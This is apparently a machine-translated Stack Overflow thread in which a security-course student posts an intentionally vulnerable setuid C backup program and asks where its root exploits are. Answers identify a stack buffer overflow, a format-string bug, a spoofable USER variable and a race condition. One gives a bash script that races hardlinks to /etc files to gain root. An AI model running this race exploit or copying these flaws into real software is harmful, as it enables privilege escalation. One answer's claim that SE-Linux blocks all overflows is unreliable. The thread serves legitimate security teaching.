4

私は、バックアッププログラム(setuid)の4つの脆弱性を見つけ、それぞれを使用してルートアクセスを取得するように求めるセキュリティコースの割り当てを行っています(古いバージョンのgccなどを備えた仮想Linuxマシン上)。バッファオーバーフローの1つとフォーマット文字列の1つが必要です。

誰かが4つの脆弱性がどこにあるかを指摘するのを手伝ってもらえますか?でバッファオーバーフローが発生する可能性があると思いますcopyFile()

以下は、backup.cのコードです:(「backupbackupfoo」または「backuprestorefoo」で呼び出すことができます)

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

#define CMD_BACKUP 0
#define CMD_RESTORE 1

#define BACKUP_DIRECTORY "/usr/share/backup"
#define FORBIDDEN_DIRECTORY "/etc"

static
int copyFile(char* src, char* dst)
{
  char buffer[3072]; /* 3K ought to be enough for anyone*/
  unsigned int i, len;
  FILE *source, *dest;
  int c;

  source = fopen(src, "r");
  if (source == NULL) {
    fprintf(stderr, "Failed to open source file\n");
    return -1;
  }

  i = 0;
  c = fgetc(source);
  while (c != EOF) {
    buffer[i]  = (unsigned char) c;
    c = fgetc(source);
    i++;
  }

  len = i;
  fclose(source);

  dest = fopen(dst, "w");
  if (dest == NULL) {
    fprintf(stderr, "Failed to open destination file\n");
    return -1;
  }

  for(i = 0; i < len; i++) 
    fputc(buffer[i], dest);

  fclose(dest);

  return 0;
}

static
int restorePermissions(char* target)
{
  pid_t pid;
  int status;
  char *user, *userid, *ptr;
  FILE *file;
  char buffer[64];
  mode_t mode;

  // execute "chown" to assign file ownership to user
  pid = fork();

  // error
  if (pid < 0) {
    fprintf(stderr, "Fork failed\n");
    return -1;
  }

  // parent
  if (pid > 0) {
    waitpid(pid, &status, 0);
    if (WIFEXITED(status) == 0 || WEXITSTATUS(status) < 0)
      return -1;
  }
  else {

    // child
    // retrieve username
    user = getenv("USER");
    // retrieve corresponding userid   
    file = fopen("/etc/passwd", "r");
    if (file == NULL) {
      fprintf(stderr, "Failed to open password file\n");
      return -1;
    }
    userid = NULL;
    while (!feof(file)) {
      if (fgets(buffer, sizeof(buffer), file) != NULL) {
    ptr = strtok(buffer, ":");
    if (strcmp(ptr, user) == 0) {
      strtok(NULL, ":"); // password
      userid = strtok(NULL, ":"); // userid
      ptr = strtok(NULL, ":"); // group
      *ptr = '\0';
      break;
    }
      }
    }

    if (userid != NULL) 
      execlp("/bin/chown", "/bin/chown", userid, target, NULL);

    // reached only in case of error
    return -1;
  }  

  mode = S_IRUSR | S_IWUSR | S_IEXEC;
  chmod(target, mode);

  return 0;
}

static
void usage(char* parameter) 
{
  char newline = '\n';
  char output[96];
  char buffer[96];

  snprintf(buffer, sizeof(buffer),
        "Usage: %.60s backup|restore pathname%c", parameter, newline);

  sprintf(output, buffer);
  printf(output);
}

int main(int argc, char* argv[]) 
{
  int cmd;
  char *path, *ptr;
  char *forbidden = FORBIDDEN_DIRECTORY;
  char *src, *dst, *buffer;
  struct stat buf;

  if (argc != 3) {
    usage(argv[0]);
    return 1;
  }

  if (strcmp("backup", argv[1]) == 0) {
    cmd = CMD_BACKUP;
  }
  else if (strcmp("restore", argv[1]) == 0) {
    cmd = CMD_RESTORE;
  } else {
    usage(argv[0]);
    return 1;
  }

  path = argv[2];

  // prevent access to forbidden directory
  ptr = realpath(path, NULL);
  if (ptr != NULL && strstr(ptr, forbidden) == ptr) {
    fprintf(stderr, "Not allowed to access target/source %s\n", path);
    return 1;
  }

  // set up paths for copy operation
  buffer = malloc(strlen(BACKUP_DIRECTORY) + 1 + strlen(path) + 1);
  if (buffer == NULL) {
    fprintf(stderr, "Failed to allocate memory\n");
    return 1;
  }

  if (cmd == CMD_BACKUP) {
    src = path;

    dst = buffer;
    strcpy(dst, BACKUP_DIRECTORY);
    strcat(dst, "/");
    strcat(dst, path);
  }
  else {
    src = buffer;
    strcpy(src, BACKUP_DIRECTORY);
    strcat(src, "/");
    strcat(src, path);

    dst = path;

    // don't overwrite existing file if we don't own it
    if (stat(dst, &buf) == 0 && buf.st_uid != getuid()) {
      fprintf(stderr, "Not your file: %s\n", dst);
      return 1;
    }
  }

  // perform actual backup/restore operation
  if (copyFile(src, dst) < 0)
    return 1;

  // grant user access to restored file
  if (cmd == CMD_RESTORE) {
    if (restorePermissions(path) < 0)
      return 1;
  }

  return 0;
}

そして何か便利なもの:

  // one way to invoke backup
  //system("/usr/local/bin/backup backup foo");

  // another way
  args[0] = TARGET; args[1] = "backup"; 
  args[2] = "foo"; args[3] = NULL;

  env[0] = NULL;
  if (execve(TARGET, args, env) < 0)
    fprintf(stderr, "execve failed.\n");
  exit(0);
4

5 に答える 5

5

私はセキュリティの専門家ではありませんが、ここにコメントします

char buffer[3072]; /* 3K ought to be enough for anyone*/

言っています:-)あなたが推測したように、ここでバッファオーバーフローの可能性があります。バッファは実際には入力ファイルの内容を読み込むために使用されます。したがって、3Kより長いファイルで試してみてください。

ここで、bufferはローカルであるため、スタックに割り当てられます。したがって、オーバーフローすることで、呼び出し元のスタックフレーム内のリターンアドレスやローカル変数など、スタックの内容を上書きできます。これは私が知る限りの理論ですが、これ以上実用的な詳細を提供することはできません。

于 2011-01-19T08:41:40.353 に答える
3
  1. フォーマットの脆弱性はusage()、攻撃者が必要なものを含むように操作できる、から生成されたフォーマット文字列sprintf()と取得フォーマット文字列にあります。printf()argv[0]

  2. メインのバッファオーバーフローは、PéterTörökによって強調表示されたものです。コードをスキャンしてセキュリティの脆弱性を探す場合、そのような露骨なコメントで満たされたチェックされていないバッファは、問題を求める道標です。

  3. 環境変数USERが使用されます。これは悪意のあるユーザーによって操作される可能性がありますが、実際に何かを購入するかどうかは議論の余地があります。'root'と言うように設定すると、試行された'chown'コマンドは、使用するように指示された名前を使用します。

  4. chownコマンドとchmod()システムコールの間には、ある種の競争があります。他の問題とは別にそれをどのように活用するかはすぐにはわかりませんが、活用できるものが得られる可能性があります。

2回含める<sys/types.h>ことは冗長ですが、それ以外は無害です。POSIX 2008では、ほとんどの場所でそれはまったく必要ありません。

于 2011-01-19T09:41:27.087 に答える
0

SE-Linuxは、問題のプログラムを中止し、ワンドアドレスのランダム化によって悪意のあるまたは偶発的な意図しないコードの実行を防ぐため、Linuxでバッファオーバーフローを悪用することはできなくなりました。

最初にこれらのプログラムをオフにする必要がありますが、そもそもルートアクセスが必要です。

于 2011-01-19T08:42:55.363 に答える
0

realpath()Jonathan Lefflerの回答の脆弱性4に触発されて、チェックとチェックの間のTOCTOU(チェック時からファイルの更新時までの期間の競合状態)のエクスプロイトがあります。fopen()

trap 'rm -f my_passwd; kill -TERM 0' INT

function p1()
{
    while [[ 1 ]]
    do
            nice -20 ./backup restore my_passwd
            ls -l /etc/passwd /etc/my_passwd my_passwd
    done
}

function p2()
{
    while [[ 1 ]]
    do
            rm -f my_passwd; ln /etc/my_passwd my_passwd; sleep .1; rm -f my_passwd
    done
}

export USER=root
p1 & p2

とにかく、に設定すると、問題に対して同様の悪用が可能になるはずUMASKです。000chmod()

于 2011-01-20T00:31:43.133 に答える
-1

また、文字列の比較で禁止ディレクトリをロックアウトするのに十分かどうかも検討してください。回答:いいえ、少なくとも2つの方法で考えることができます。

于 2016-04-06T15:50:34.757 に答える